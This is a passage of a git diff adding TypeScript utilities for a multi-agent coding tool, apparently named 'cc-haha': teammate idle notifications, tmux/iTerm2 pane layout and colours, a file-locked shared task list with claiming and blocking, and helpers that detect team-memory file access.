+  const leadAgentName = leadMember?.name || 'team-lead'
+
+  // Don't register hook if this agent is the leader
+  if (agentId === leadAgentId) {
+    logForDebugging(
+      '[TeammateInit] This agent is the team leader - skipping idle notification hook',
+    )
+    return
+  }
+
+  logForDebugging(
+    `[TeammateInit] Registering Stop hook for teammate ${agentName} to notify leader ${leadAgentName}`,
+  )
+
+  // Register Stop hook to notify leader when this teammate stops
+  addFunctionHook(
+    setAppState,
+    sessionId,
+    'Stop',
+    '', // No matcher - applies to all Stop events
+    async (messages, _signal) => {
+      // Mark this teammate as idle in the team config (fire and forget)
+      void setMemberActive(teamName, agentName, false)
+
+      // Send idle notification to the team leader using agent name (not UUID)
+      // Must await to ensure the write completes before process shutdown
+      const notification = createIdleNotification(agentName, {
+        idleReason: 'available',
+        summary: getLastPeerDmSummary(messages),
+      })
+      await writeToMailbox(leadAgentName, {
+        from: agentName,
+        text: jsonStringify(notification),
+        timestamp: new Date().toISOString(),
+        color: getTeammateColor(),
+      })
+      logForDebugging(
+        `[TeammateInit] Sent idle notification to leader ${leadAgentName}`,
+      )
+      return true // Don't block the Stop
+    },
+    'Failed to send idle notification to team leader',
+    {
+      timeout: 10000,
+    },
+  )
+}
diff --git a/cc-haha/src/utils/swarm/teammateLayoutManager.ts b/cc-haha/src/utils/swarm/teammateLayoutManager.ts
new file mode 100644
index 0000000..2b26a3e
--- /dev/null
+++ b/cc-haha/src/utils/swarm/teammateLayoutManager.ts
@@ -0,0 +1,107 @@
+import type { AgentColorName } from '../../tools/AgentTool/agentColorManager.js'
+import { AGENT_COLORS } from '../../tools/AgentTool/agentColorManager.js'
+import { detectAndGetBackend } from './backends/registry.js'
+import type { PaneBackend } from './backends/types.js'
+
+// Track color assignments for teammates (persisted per session)
+const teammateColorAssignments = new Map<string, AgentColorName>()
+let colorIndex = 0
+
+/**
+ * Gets the appropriate backend for the current environment.
+ * detectAndGetBackend() caches internally — no need for a second cache here.
+ */
+async function getBackend(): Promise<PaneBackend> {
+  return (await detectAndGetBackend()).backend
+}
+
+/**
+ * Assigns a unique color to a teammate from the available palette.
+ * Colors are assigned in round-robin order.
+ */
+export function assignTeammateColor(teammateId: string): AgentColorName {
+  const existing = teammateColorAssignments.get(teammateId)
+  if (existing) {
+    return existing
+  }
+
+  const color = AGENT_COLORS[colorIndex % AGENT_COLORS.length]!
+  teammateColorAssignments.set(teammateId, color)
+  colorIndex++
+
+  return color
+}
+
+/**
+ * Gets the assigned color for a teammate, if any.
+ */
+export function getTeammateColor(
+  teammateId: string,
+): AgentColorName | undefined {
+  return teammateColorAssignments.get(teammateId)
+}
+
+/**
+ * Clears all teammate color assignments.
+ * Called during team cleanup to reset state for potential new teams.
+ */
+export function clearTeammateColors(): void {
+  teammateColorAssignments.clear()
+  colorIndex = 0
+}
+
+/**
+ * Checks if we're currently running inside a tmux session.
+ * Uses the detection module directly for this check.
+ */
+export async function isInsideTmux(): Promise<boolean> {
+  const { isInsideTmux: checkTmux } = await import('./backends/detection.js')
+  return checkTmux()
+}
+
+/**
+ * Creates a new teammate pane in the swarm view.
+ * Automatically selects the appropriate backend (tmux or iTerm2) based on environment.
+ *
+ * When running INSIDE tmux:
+ * - Uses TmuxBackend to split the current window
+ * - Leader stays on left (30%), teammates on right (70%)
+ *
+ * When running in iTerm2 (not in tmux) with it2 CLI:
+ * - Uses ITermBackend for native iTerm2 split panes
+ *
+ * When running OUTSIDE tmux/iTerm2:
+ * - Falls back to TmuxBackend with external claude-swarm session
+ */
+export async function createTeammatePaneInSwarmView(
+  teammateName: string,
+  teammateColor: AgentColorName,
+): Promise<{ paneId: string; isFirstTeammate: boolean }> {
+  const backend = await getBackend()
+  return backend.createTeammatePaneInSwarmView(teammateName, teammateColor)
+}
+
+/**
+ * Enables pane border status for a window (shows pane titles).
+ * Delegates to the detected backend.
+ */
+export async function enablePaneBorderStatus(
+  windowTarget?: string,
+  useSwarmSocket = false,
+): Promise<void> {
+  const backend = await getBackend()
+  return backend.enablePaneBorderStatus(windowTarget, useSwarmSocket)
+}
+
+/**
+ * Sends a command to a specific pane.
+ * Delegates to the detected backend.
+ */
+export async function sendCommandToPane(
+  paneId: string,
+  command: string,
+  useSwarmSocket = false,
+): Promise<void> {
+  const backend = await getBackend()
+  return backend.sendCommandToPane(paneId, command, useSwarmSocket)
+}
diff --git a/cc-haha/src/utils/tasks.ts b/cc-haha/src/utils/tasks.ts
new file mode 100644
index 0000000..90e50e7
--- /dev/null
+++ b/cc-haha/src/utils/tasks.ts
@@ -0,0 +1,862 @@
+import { mkdir, readdir, readFile, unlink, writeFile } from 'fs/promises'
+import { join } from 'path'
+import { z } from 'zod/v4'
+import { getIsNonInteractiveSession, getSessionId } from '../bootstrap/state.js'
+import { uniq } from './array.js'
+import { logForDebugging } from './debug.js'
+import { getClaudeConfigHomeDir, getTeamsDir, isEnvTruthy } from './envUtils.js'
+import { errorMessage, getErrnoCode } from './errors.js'
+import { lazySchema } from './lazySchema.js'
+import * as lockfile from './lockfile.js'
+import { logError } from './log.js'
+import { createSignal } from './signal.js'
+import { jsonParse, jsonStringify } from './slowOperations.js'
+import { getTeamName } from './teammate.js'
+import { getTeammateContext } from './teammateContext.js'
+
+// Listeners for task list updates (used for immediate UI refresh in same process)
+const tasksUpdated = createSignal()
+
+/**
+ * Team name set by the leader when creating a team.
+ * Used by getTaskListId() so the leader's tasks are stored under the team name
+ * (matching where tmux/iTerm2 teammates look), not under the session ID.
+ */
+let leaderTeamName: string | undefined
+
+/**
+ * Sets the leader's team name for task list resolution.
+ * Called by TeamCreateTool when a team is created.
+ */
+export function setLeaderTeamName(teamName: string): void {
+  if (leaderTeamName === teamName) return
+  leaderTeamName = teamName
+  // Changing the task list ID is a "tasks updated" event for subscribers —
+  // they're now looking at a different directory.
+  notifyTasksUpdated()
+}
+
+/**
+ * Clears the leader's team name.
+ * Called when a team is deleted.
+ */
+export function clearLeaderTeamName(): void {
+  if (leaderTeamName === undefined) return
+  leaderTeamName = undefined
+  notifyTasksUpdated()
+}
+
+/**
+ * Register a listener to be called when tasks are updated in this process.
+ * Returns an unsubscribe function.
+ */
+export const onTasksUpdated = tasksUpdated.subscribe
+
+/**
+ * Notify listeners that tasks have been updated.
+ * Called internally after createTask, updateTask, etc.
+ * Wraps emit in try/catch so listener failures never propagate to callers
+ * (task mutations must succeed from the caller's perspective).
+ */
+export function notifyTasksUpdated(): void {
+  try {
+    tasksUpdated.emit()
+  } catch {
+    // Ignore listener errors — task mutations must not fail due to notification issues
+  }
+}
+
+export const TASK_STATUSES = ['pending', 'in_progress', 'completed'] as const
+
+export const TaskStatusSchema = lazySchema(() =>
+  z.enum(['pending', 'in_progress', 'completed']),
+)
+export type TaskStatus = z.infer<ReturnType<typeof TaskStatusSchema>>
+
+export const TaskSchema = lazySchema(() =>
+  z.object({
+    id: z.string(),
+    subject: z.string(),
+    description: z.string(),
+    activeForm: z.string().optional(), // present continuous form for spinner (e.g., "Running tests")
+    owner: z.string().optional(), // agent ID
+    status: TaskStatusSchema(),
+    blocks: z.array(z.string()), // task IDs this task blocks
+    blockedBy: z.array(z.string()), // task IDs that block this task
+    metadata: z.record(z.string(), z.unknown()).optional(), // arbitrary metadata
+  }),
+)
+export type Task = z.infer<ReturnType<typeof TaskSchema>>
+
+// High water mark file name - stores the maximum task ID ever assigned
+const HIGH_WATER_MARK_FILE = '.highwatermark'
+
+// Lock options: retry with backoff so concurrent callers (multiple Claudes
+// in a swarm) wait for the lock instead of failing immediately. The sync
+// lockSync API blocked the event loop; the async API needs explicit retries
+// to achieve the same serialization semantics.
+//
+// Budget sized for ~10+ concurrent swarm agents: each critical section does
+// readdir + N×readFile + writeFile (~50-100ms on slow disks), so the last
+// caller in a 10-way race needs ~900ms. retries=30 gives ~2.6s total wait.
+const LOCK_OPTIONS = {
+  retries: {
+    retries: 30,
+    minTimeout: 5,
+    maxTimeout: 100,
+  },
+}
+
+function getHighWaterMarkPath(taskListId: string): string {
+  return join(getTasksDir(taskListId), HIGH_WATER_MARK_FILE)
+}
+
+async function readHighWaterMark(taskListId: string): Promise<number> {
+  const path = getHighWaterMarkPath(taskListId)
+  try {
+    const content = (await readFile(path, 'utf-8')).trim()
+    const value = parseInt(content, 10)
+    return isNaN(value) ? 0 : value
+  } catch {
+    return 0
+  }
+}
+
+async function writeHighWaterMark(
+  taskListId: string,
+  value: number,
+): Promise<void> {
+  const path = getHighWaterMarkPath(taskListId)
+  await writeFile(path, String(value))
+}
+
+export function isTodoV2Enabled(): boolean {
+  // Force-enable tasks in non-interactive mode (e.g. SDK users who want Task tools over TodoWrite)
+  if (isEnvTruthy(process.env.CLAUDE_CODE_ENABLE_TASKS)) {
+    return true
+  }
+  return !getIsNonInteractiveSession()
+}
+
+/**
+ * Resets the task list for a new swarm - clears any existing tasks.
+ * Writes a high water mark file to prevent ID reuse after reset.
+ * Should be called when a new swarm is created to ensure task numbering starts at 1.
+ * Uses file locking to prevent race conditions when multiple Claudes run in parallel.
+ */
+export async function resetTaskList(taskListId: string): Promise<void> {
+  const dir = getTasksDir(taskListId)
+  const lockPath = await ensureTaskListLockFile(taskListId)
+
+  let release: (() => Promise<void>) | undefined
+  try {
+    // Acquire exclusive lock on the task list
+    release = await lockfile.lock(lockPath, LOCK_OPTIONS)
+
+    // Find the current highest ID and save it to the high water mark file
+    const currentHighest = await findHighestTaskIdFromFiles(taskListId)
+    if (currentHighest > 0) {
+      const existingMark = await readHighWaterMark(taskListId)
+      if (currentHighest > existingMark) {
+        await writeHighWaterMark(taskListId, currentHighest)
+      }
+    }
+
+    // Delete all task files
+    let files: string[]
+    try {
+      files = await readdir(dir)
+    } catch {
+      files = []
+    }
+    for (const file of files) {
+      if (file.endsWith('.json') && !file.startsWith('.')) {
+        const filePath = join(dir, file)
+        try {
+          await unlink(filePath)
+        } catch {
+          // Ignore errors, file may already be deleted
+        }
+      }
+    }
+    notifyTasksUpdated()
+  } finally {
+    if (release) {
+      await release()
+    }
+  }
+}
+
+/**
+ * Gets the task list ID based on the current context.
+ * Priority:
+ * 1. CLAUDE_CODE_TASK_LIST_ID - explicit task list ID
+ * 2. In-process teammate: leader's team name (so teammates share the leader's task list)
+ * 3. CLAUDE_CODE_TEAM_NAME - set when running as a process-based teammate
+ * 4. Leader team name - set when the leader creates a team via TeamCreate
+ * 5. Session ID - fallback for standalone sessions
+ */
+export function getTaskListId(): string {
+  if (process.env.CLAUDE_CODE_TASK_LIST_ID) {
+    return process.env.CLAUDE_CODE_TASK_LIST_ID
+  }
+  // In-process teammates use the leader's team name so they share the same
+  // task list that tmux/iTerm2 teammates also resolve to.
+  const teammateCtx = getTeammateContext()
+  if (teammateCtx) {
+    return teammateCtx.teamName
+  }
+  return getTeamName() || leaderTeamName || getSessionId()
+}
+
+/**
+ * Sanitizes a string for safe use in file paths.
+ * Removes path traversal characters and other potentially dangerous characters.
+ * Only allows alphanumeric characters, hyphens, and underscores.
+ */
+export function sanitizePathComponent(input: string): string {
+  return input.replace(/[^a-zA-Z0-9_-]/g, '-')
+}
+
+export function getTasksDir(taskListId: string): string {
+  return join(
+    getClaudeConfigHomeDir(),
+    'tasks',
+    sanitizePathComponent(taskListId),
+  )
+}
+
+export function getTaskPath(taskListId: string, taskId: string): string {
+  return join(getTasksDir(taskListId), `${sanitizePathComponent(taskId)}.json`)
+}
+
+export async function ensureTasksDir(taskListId: string): Promise<void> {
+  const dir = getTasksDir(taskListId)
+  try {
+    await mkdir(dir, { recursive: true })
+  } catch {
+    // Directory already exists or creation failed; callers will surface
+    // errors from subsequent operations.
+  }
+}
+
+/**
+ * Finds the highest task ID from existing task files (not including high water mark).
+ */
+async function findHighestTaskIdFromFiles(taskListId: string): Promise<number> {
+  const dir = getTasksDir(taskListId)
+  let files: string[]
+  try {
+    files = await readdir(dir)
+  } catch {
+    return 0
+  }
+  let highest = 0
+  for (const file of files) {
+    if (!file.endsWith('.json')) {
+      continue
+    }
+    const taskId = parseInt(file.replace('.json', ''), 10)
+    if (!isNaN(taskId) && taskId > highest) {
+      highest = taskId
+    }
+  }
+  return highest
+}
+
+/**
+ * Finds the highest task ID ever assigned, considering both existing files
+ * and the high water mark (for deleted/reset tasks).
+ */
+async function findHighestTaskId(taskListId: string): Promise<number> {
+  const [fromFiles, fromMark] = await Promise.all([
+    findHighestTaskIdFromFiles(taskListId),
+    readHighWaterMark(taskListId),
+  ])
+  return Math.max(fromFiles, fromMark)
+}
+
+/**
+ * Creates a new task with a unique ID.
+ * Uses file locking to prevent race conditions when multiple processes
+ * create tasks concurrently.
+ */
+export async function createTask(
+  taskListId: string,
+  taskData: Omit<Task, 'id'>,
+): Promise<string> {
+  const lockPath = await ensureTaskListLockFile(taskListId)
+
+  let release: (() => Promise<void>) | undefined
+  try {
+    // Acquire exclusive lock on the task list
+    release = await lockfile.lock(lockPath, LOCK_OPTIONS)
+
+    // Read highest ID from disk while holding the lock
+    const highestId = await findHighestTaskId(taskListId)
+    const id = String(highestId + 1)
+    const task: Task = { id, ...taskData }
+    const path = getTaskPath(taskListId, id)
+    await writeFile(path, jsonStringify(task, null, 2))
+    notifyTasksUpdated()
+    return id
+  } finally {
+    if (release) {
+      await release()
+    }
+  }
+}
+
+export async function getTask(
+  taskListId: string,
+  taskId: string,
+): Promise<Task | null> {
+  const path = getTaskPath(taskListId, taskId)
+  try {
+    const content = await readFile(path, 'utf-8')
+    const data = jsonParse(content) as { status?: string }
+
+    // TEMPORARY: Migrate old status names for existing sessions (ant-only)
+    if (process.env.USER_TYPE === 'ant') {
+      if (data.status === 'open') data.status = 'pending'
+      else if (data.status === 'resolved') data.status = 'completed'
+      // Migrate development task statuses to in_progress
+      else if (
+        data.status &&
+        ['planning', 'implementing', 'reviewing', 'verifying'].includes(
+          data.status,
+        )
+      ) {
+        data.status = 'in_progress'
+      }
+    }
+    const parsed = TaskSchema().safeParse(data)
+    if (!parsed.success) {
+      logForDebugging(
+        `[Tasks] Task ${taskId} failed schema validation: ${parsed.error.message}`,
+      )
+      return null
+    }
+    return parsed.data
+  } catch (e) {
+    const code = getErrnoCode(e)
+    if (code === 'ENOENT') {
+      return null
+    }
+    logForDebugging(`[Tasks] Failed to read task ${taskId}: ${errorMessage(e)}`)
+    logError(e)
+    return null
+  }
+}
+
+// Internal: no lock. Callers already holding a lock on taskPath must use this
+// to avoid deadlock (claimTask, deleteTask cascade, etc.).
+async function updateTaskUnsafe(
+  taskListId: string,
+  taskId: string,
+  updates: Partial<Omit<Task, 'id'>>,
+): Promise<Task | null> {
+  const existing = await getTask(taskListId, taskId)
+  if (!existing) {
+    return null
+  }
+  const updated: Task = { ...existing, ...updates, id: taskId }
+  const path = getTaskPath(taskListId, taskId)
+  await writeFile(path, jsonStringify(updated, null, 2))
+  notifyTasksUpdated()
+  return updated
+}
+
+export async function updateTask(
+  taskListId: string,
+  taskId: string,
+  updates: Partial<Omit<Task, 'id'>>,
+): Promise<Task | null> {
+  const path = getTaskPath(taskListId, taskId)
+
+  // Check existence before locking — proper-lockfile throws if the
+  // target file doesn't exist, and we want a clean null result.
+  const taskBeforeLock = await getTask(taskListId, taskId)
+  if (!taskBeforeLock) {
+    return null
+  }
+
+  let release: (() => Promise<void>) | undefined
+  try {
+    release = await lockfile.lock(path, LOCK_OPTIONS)
+    return await updateTaskUnsafe(taskListId, taskId, updates)
+  } finally {
+    await release?.()
+  }
+}
+
+export async function deleteTask(
+  taskListId: string,
+  taskId: string,
+): Promise<boolean> {
+  const path = getTaskPath(taskListId, taskId)
+
+  try {
+    // Update high water mark before deleting to prevent ID reuse
+    const numericId = parseInt(taskId, 10)
+    if (!isNaN(numericId)) {
+      const currentMark = await readHighWaterMark(taskListId)
+      if (numericId > currentMark) {
+        await writeHighWaterMark(taskListId, numericId)
+      }
+    }
+
+    // Delete the task file
+    try {
+      await unlink(path)
+    } catch (e) {
+      const code = getErrnoCode(e)
+      if (code === 'ENOENT') {
+        return false
+      }
+      throw e
+    }
+
+    // Remove references to this task from other tasks
+    const allTasks = await listTasks(taskListId)
+    for (const task of allTasks) {
+      const newBlocks = task.blocks.filter(id => id !== taskId)
+      const newBlockedBy = task.blockedBy.filter(id => id !== taskId)
+      if (
+        newBlocks.length !== task.blocks.length ||
+        newBlockedBy.length !== task.blockedBy.length
+      ) {
+        await updateTask(taskListId, task.id, {
+          blocks: newBlocks,
+          blockedBy: newBlockedBy,
+        })
+      }
+    }
+
+    notifyTasksUpdated()
+    return true
+  } catch {
+    return false
+  }
+}
+
+export async function listTasks(taskListId: string): Promise<Task[]> {
+  const dir = getTasksDir(taskListId)
+  let files: string[]
+  try {
+    files = await readdir(dir)
+  } catch {
+    return []
+  }
+  const taskIds = files
+    .filter(f => f.endsWith('.json'))
+    .map(f => f.replace('.json', ''))
+  const results = await Promise.all(taskIds.map(id => getTask(taskListId, id)))
+  return results.filter((t): t is Task => t !== null)
+}
+
+export async function blockTask(
+  taskListId: string,
+  fromTaskId: string,
+  toTaskId: string,
+): Promise<boolean> {
+  const [fromTask, toTask] = await Promise.all([
+    getTask(taskListId, fromTaskId),
+    getTask(taskListId, toTaskId),
+  ])
+  if (!fromTask || !toTask) {
+    return false
+  }
+
+  // Update source task: A blocks B
+  if (!fromTask.blocks.includes(toTaskId)) {
+    await updateTask(taskListId, fromTaskId, {
+      blocks: [...fromTask.blocks, toTaskId],
+    })
+  }
+
+  // Update target task: B is blockedBy A
+  if (!toTask.blockedBy.includes(fromTaskId)) {
+    await updateTask(taskListId, toTaskId, {
+      blockedBy: [...toTask.blockedBy, fromTaskId],
+    })
+  }
+
+  return true
+}
+
+export type ClaimTaskResult = {
+  success: boolean
+  reason?:
+    | 'task_not_found'
+    | 'already_claimed'
+    | 'already_resolved'
+    | 'blocked'
+    | 'agent_busy'
+  task?: Task
+  busyWithTasks?: string[] // task IDs the agent is busy with (when reason is 'agent_busy')
+  blockedByTasks?: string[] // task IDs blocking this task (when reason is 'blocked')
+}
+
+/**
+ * Gets the lock file path for a task list (used for list-level locking)
+ */
+function getTaskListLockPath(taskListId: string): string {
+  return join(getTasksDir(taskListId), '.lock')
+}
+
+/**
+ * Ensures the lock file exists for a task list
+ */
+async function ensureTaskListLockFile(taskListId: string): Promise<string> {
+  await ensureTasksDir(taskListId)
+  const lockPath = getTaskListLockPath(taskListId)
+  // proper-lockfile requires the target file to exist. Create it with the
+  // 'wx' flag (write-exclusive) so concurrent callers don't both create it,
+  // and the first one to create wins silently.
+  try {
+    await writeFile(lockPath, '', { flag: 'wx' })
+  } catch {
+    // EEXIST or other — file already exists, which is fine.
+  }
+  return lockPath
+}
+
+export type ClaimTaskOptions = {
+  /**
+   * If true, checks whether the agent is already busy (owns other open tasks)
+   * before allowing the claim. This check is performed atomically with the claim
+   * using a task-list-level lock to prevent TOCTOU race conditions.
+   */
+  checkAgentBusy?: boolean
+}
+
+/**
+ * Attempts to claim a task for an agent with file locking to prevent race conditions.
+ * Returns success if the task was claimed, or a reason if it wasn't.
+ *
+ * When checkAgentBusy is true, uses a task-list-level lock to atomically check
+ * if the agent owns any other open tasks before claiming.
+ */
+export async function claimTask(
+  taskListId: string,
+  taskId: string,
+  claimantAgentId: string,
+  options: ClaimTaskOptions = {},
+): Promise<ClaimTaskResult> {
+  const taskPath = getTaskPath(taskListId, taskId)
+
+  // Check existence before locking — proper-lockfile.lock throws if the
+  // target file doesn't exist, and we want a clean task_not_found result.
+  const taskBeforeLock = await getTask(taskListId, taskId)
+  if (!taskBeforeLock) {
+    return { success: false, reason: 'task_not_found' }
+  }
+
+  // If we need to check agent busy status, use task-list-level lock
+  // to prevent TOCTOU race conditions
+  if (options.checkAgentBusy) {
+    return claimTaskWithBusyCheck(taskListId, taskId, claimantAgentId)
+  }
+
+  // Otherwise, use task-level lock (original behavior)
+  let release: (() => Promise<void>) | undefined
+  try {
+    // Acquire exclusive lock on the task file
+    release = await lockfile.lock(taskPath, LOCK_OPTIONS)
+
+    // Read current task state
+    const task = await getTask(taskListId, taskId)
+    if (!task) {
+      return { success: false, reason: 'task_not_found' }
+    }
+
+    // Check if already claimed by another agent
+    if (task.owner && task.owner !== claimantAgentId) {
+      return { success: false, reason: 'already_claimed', task }
+    }
+
+    // Check if already resolved
+    if (task.status === 'completed') {
+      return { success: false, reason: 'already_resolved', task }
+    }
+
+    // Check for unresolved blockers (open or in_progress tasks block)
+    const allTasks = await listTasks(taskListId)
+    const unresolvedTaskIds = new Set(
+      allTasks.filter(t => t.status !== 'completed').map(t => t.id),
+    )
+    const blockedByTasks = task.blockedBy.filter(id =>
+      unresolvedTaskIds.has(id),
+    )
+    if (blockedByTasks.length > 0) {
+      return { success: false, reason: 'blocked', task, blockedByTasks }
+    }
+
+    // Claim the task (already holding taskPath lock — use unsafe variant)
+    const updated = await updateTaskUnsafe(taskListId, taskId, {
+      owner: claimantAgentId,
+    })
+    return { success: true, task: updated! }
+  } catch (error) {
+    logForDebugging(
+      `[Tasks] Failed to claim task ${taskId}: ${errorMessage(error)}`,
+    )
+    logError(error)
+    return { success: false, reason: 'task_not_found' }
+  } finally {
+    if (release) {
+      await release()
+    }
+  }
+}
+
+/**
+ * Claims a task with an atomic check for agent busy status.
+ * Uses a task-list-level lock to ensure the busy check and claim are atomic.
+ */
+async function claimTaskWithBusyCheck(
+  taskListId: string,
+  taskId: string,
+  claimantAgentId: string,
+): Promise<ClaimTaskResult> {
+  const lockPath = await ensureTaskListLockFile(taskListId)
+
+  let release: (() => Promise<void>) | undefined
+  try {
+    // Acquire exclusive lock on the task list
+    release = await lockfile.lock(lockPath, LOCK_OPTIONS)
+
+    // Read all tasks to check agent status and task state atomically
+    const allTasks = await listTasks(taskListId)
+
+    // Find the task we want to claim
+    const task = allTasks.find(t => t.id === taskId)
+    if (!task) {
+      return { success: false, reason: 'task_not_found' }
+    }
+
+    // Check if already claimed by another agent
+    if (task.owner && task.owner !== claimantAgentId) {
+      return { success: false, reason: 'already_claimed', task }
+    }
+
+    // Check if already resolved
+    if (task.status === 'completed') {
+      return { success: false, reason: 'already_resolved', task }
+    }
+
+    // Check for unresolved blockers (open or in_progress tasks block)
+    const unresolvedTaskIds = new Set(
+      allTasks.filter(t => t.status !== 'completed').map(t => t.id),
+    )
+    const blockedByTasks = task.blockedBy.filter(id =>
+      unresolvedTaskIds.has(id),
+    )
+    if (blockedByTasks.length > 0) {
+      return { success: false, reason: 'blocked', task, blockedByTasks }
+    }
+
+    // Check if agent is busy with other unresolved tasks
+    const agentOpenTasks = allTasks.filter(
+      t =>
+        t.status !== 'completed' &&
+        t.owner === claimantAgentId &&
+        t.id !== taskId,
+    )
+    if (agentOpenTasks.length > 0) {
+      return {
+        success: false,
+        reason: 'agent_busy',
+        task,
+        busyWithTasks: agentOpenTasks.map(t => t.id),
+      }
+    }
+
+    // Claim the task
+    const updated = await updateTask(taskListId, taskId, {
+      owner: claimantAgentId,
+    })
+    return { success: true, task: updated! }
+  } catch (error) {
+    logForDebugging(
+      `[Tasks] Failed to claim task ${taskId} with busy check: ${errorMessage(error)}`,
+    )
+    logError(error)
+    return { success: false, reason: 'task_not_found' }
+  } finally {
+    if (release) {
+      await release()
+    }
+  }
+}
+
+/**
+ * Team member info (subset of TeamFile member structure)
+ */
+export type TeamMember = {
+  agentId: string
+  name: string
+  agentType?: string
+}
+
+/**
+ * Agent status based on task ownership
+ */
+export type AgentStatus = {
+  agentId: string
+  name: string
+  agentType?: string
+  status: 'idle' | 'busy'
+  currentTasks: string[] // task IDs the agent owns
+}
+
+/**
+ * Sanitizes a name for use in file paths
+ */
+function sanitizeName(name: string): string {
+  return name.replace(/[^a-zA-Z0-9]/g, '-').toLowerCase()
+}
+
+/**
+ * Reads team members from the team file
+ */
+async function readTeamMembers(
+  teamName: string,
+): Promise<{ leadAgentId: string; members: TeamMember[] } | null> {
+  const teamsDir = getTeamsDir()
+  const teamFilePath = join(teamsDir, sanitizeName(teamName), 'config.json')
+  try {
+    const content = await readFile(teamFilePath, 'utf-8')
+    const teamFile = jsonParse(content) as {
+      leadAgentId: string
+      members: TeamMember[]
+    }
+    return {
+      leadAgentId: teamFile.leadAgentId,
+      members: teamFile.members.map(m => ({
+        agentId: m.agentId,
+        name: m.name,
+        agentType: m.agentType,
+      })),
+    }
+  } catch (e) {
+    const code = getErrnoCode(e)
+    if (code === 'ENOENT') {
+      return null
+    }
+    logForDebugging(
+      `[Tasks] Failed to read team file for ${teamName}: ${errorMessage(e)}`,
+    )
+    return null
+  }
+}
+
+/**
+ * Gets the status of all agents in a team based on task ownership.
+ * An agent is considered "idle" if they don't own any open tasks.
+ * An agent is considered "busy" if they own at least one open task.
+ *
+ * @param teamName - The name of the team (also used as taskListId)
+ * @returns Array of agent statuses, or null if team not found
+ */
+export async function getAgentStatuses(
+  teamName: string,
+): Promise<AgentStatus[] | null> {
+  const teamData = await readTeamMembers(teamName)
+  if (!teamData) {
+    return null
+  }
+
+  const taskListId = sanitizeName(teamName)
+  const allTasks = await listTasks(taskListId)
+
+  // Get unresolved tasks grouped by owner (open or in_progress)
+  const unresolvedTasksByOwner = new Map<string, string[]>()
+  for (const task of allTasks) {
+    if (task.status !== 'completed' && task.owner) {
+      const existing = unresolvedTasksByOwner.get(task.owner) || []
+      existing.push(task.id)
+      unresolvedTasksByOwner.set(task.owner, existing)
+    }
+  }
+
+  // Build status for each agent (leader is already in members)
+  return teamData.members.map(member => {
+    // Check both name (new) and agentId (legacy) for backwards compatibility
+    const tasksByName = unresolvedTasksByOwner.get(member.name) || []
+    const tasksById = unresolvedTasksByOwner.get(member.agentId) || []
+    const currentTasks = uniq([...tasksByName, ...tasksById])
+    return {
+      agentId: member.agentId,
+      name: member.name,
+      agentType: member.agentType,
+      status: currentTasks.length === 0 ? 'idle' : 'busy',
+      currentTasks,
+    }
+  })
+}
+
+/**
+ * Result of unassigning tasks from a teammate
+ */
+export type UnassignTasksResult = {
+  unassignedTasks: Array<{ id: string; subject: string }>
+  notificationMessage: string
+}
+
+/**
+ * Unassigns all open tasks from a teammate and builds a notification message.
+ * Used when a teammate is killed or gracefully shuts down.
+ *
+ * @param teamName - The team/task list name
+ * @param teammateId - The teammate's agent ID
+ * @param teammateName - The teammate's display name
+ * @param reason - How the teammate exited ('terminated' | 'shutdown')
+ * @returns The unassigned tasks and a formatted notification message
+ */
+export async function unassignTeammateTasks(
+  teamName: string,
+  teammateId: string,
+  teammateName: string,
+  reason: 'terminated' | 'shutdown',
+): Promise<UnassignTasksResult> {
+  const tasks = await listTasks(teamName)
+  const unresolvedAssignedTasks = tasks.filter(
+    t =>
+      t.status !== 'completed' &&
+      (t.owner === teammateId || t.owner === teammateName),
+  )
+
+  // Unassign each task and reset status to open
+  for (const task of unresolvedAssignedTasks) {
+    await updateTask(teamName, task.id, { owner: undefined, status: 'pending' })
+  }
+
+  if (unresolvedAssignedTasks.length > 0) {
+    logForDebugging(
+      `[Tasks] Unassigned ${unresolvedAssignedTasks.length} task(s) from ${teammateName}`,
+    )
+  }
+
+  // Build notification message
+  const actionVerb =
+    reason === 'terminated' ? 'was terminated' : 'has shut down'
+  let notificationMessage = `${teammateName} ${actionVerb}.`
+  if (unresolvedAssignedTasks.length > 0) {
+    const taskList = unresolvedAssignedTasks
+      .map(t => `#${t.id} "${t.subject}"`)
+      .join(', ')
+    notificationMessage += ` ${unresolvedAssignedTasks.length} task(s) were unassigned: ${taskList}. Use TaskList to check availability and TaskUpdate with owner to reassign them to idle teammates.`
+  }
+
+  return {
+    unassignedTasks: unresolvedAssignedTasks.map(t => ({
+      id: t.id,
+      subject: t.subject,
+    })),
+    notificationMessage,
+  }
+}
+
+export const DEFAULT_TASKS_MODE_TASK_LIST_ID = 'tasklist'
diff --git a/cc-haha/src/utils/teamMemoryOps.ts b/cc-haha/src/utils/teamMemoryOps.ts
new file mode 100644
index 0000000..30810f0
--- /dev/null
+++ b/cc-haha/src/utils/teamMemoryOps.ts
@@ -0,0 +1,88 @@
+import { isTeamMemFile } from '../memdir/teamMemPaths.js'
+import { FILE_EDIT_TOOL_NAME } from '../tools/FileEditTool/constants.js'
+import { FILE_WRITE_TOOL_NAME } from '../tools/FileWriteTool/prompt.js'
+
+export { isTeamMemFile }
+
+/**
+ * Check if a search tool use targets team memory files by examining its path.
+ */
+export function isTeamMemorySearch(toolInput: unknown): boolean {
+  const input = toolInput as
+    | { path?: string; pattern?: string; glob?: string }
+    | undefined
+  if (!input) {
+    return false
+  }
+  if (input.path && isTeamMemFile(input.path)) {
+    return true
+  }
+  return false
+}
+
+/**
+ * Check if a Write or Edit tool use targets a team memory file.
+ */
+export function isTeamMemoryWriteOrEdit(
+  toolName: string,
+  toolInput: unknown,
+): boolean {
+  if (toolName !== FILE_WRITE_TOOL_NAME && toolName !== FILE_EDIT_TOOL_NAME) {
+    return false
+  }
+  const input = toolInput as { file_path?: string; path?: string } | undefined
+  const filePath = input?.file_path ?? input?.path
+  return filePath !== undefined && isTeamMemFile(filePath)
+}
+
+/**
+ * Append team memory summary parts to the parts array.
+ * Encapsulates all team memory verb/string logic for getSearchReadSummaryText.
+ */
+export function appendTeamMemorySummaryParts(
+  memoryCounts: {
+    teamMemoryReadCount?: number
+    teamMemorySearchCount?: number
+    teamMemoryWriteCount?: number
+  },
+  isActive: boolean,
+  parts: string[],
+): void {
+  const teamReadCount = memoryCounts.teamMemoryReadCount ?? 0
+  const teamSearchCount = memoryCounts.teamMemorySearchCount ?? 0
+  const teamWriteCount = memoryCounts.teamMemoryWriteCount ?? 0
+  if (teamReadCount > 0) {
+    const verb = isActive
+      ? parts.length === 0
+        ? 'Recalling'
+        : 'recalling'
+      : parts.length === 0
+        ? 'Recalled'
+        : 'recalled'
+    parts.push(
